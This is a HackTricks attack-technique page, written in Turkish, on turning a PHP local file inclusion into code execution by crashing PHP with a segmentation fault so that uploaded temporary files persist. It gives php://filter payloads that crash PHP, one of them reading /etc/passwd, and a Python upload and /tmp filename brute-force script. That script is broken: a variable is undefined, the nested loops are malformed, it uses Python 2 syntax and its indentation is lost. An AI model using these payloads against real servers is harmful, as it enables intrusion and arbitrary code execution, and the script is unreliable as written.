LFI2RCE via Segmentation Fault

Reading time: 3 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Yazılara göre https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (ikinci kısım) ve https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, aşağıdaki yükler PHP'de bir segmentasyon hatasına neden oldu:

php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Bilmelisiniz ki eğer bir POST isteği içeren bir dosya gönderirseniz, PHP o dosyanın içeriğiyle birlikte /tmp/php<bir şey> konumunda bir geçici dosya oluşturacaktır. Bu dosya, istek işlendiğinde otomatik olarak silinecektir.

Eğer bir LFI bulursanız ve PHP'de bir segmentasyon hatasını tetiklemeyi başarırsanız, geçici dosya asla silinmeyecektir. Bu nedenle, onu bulana kadar LFI zafiyetini kullanarak arama yapabilirsiniz ve keyfi kod çalıştırabilirsiniz.

Test için https://hub.docker.com/r/easyengine/php7.0 docker imajını kullanabilirsiniz.

python
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin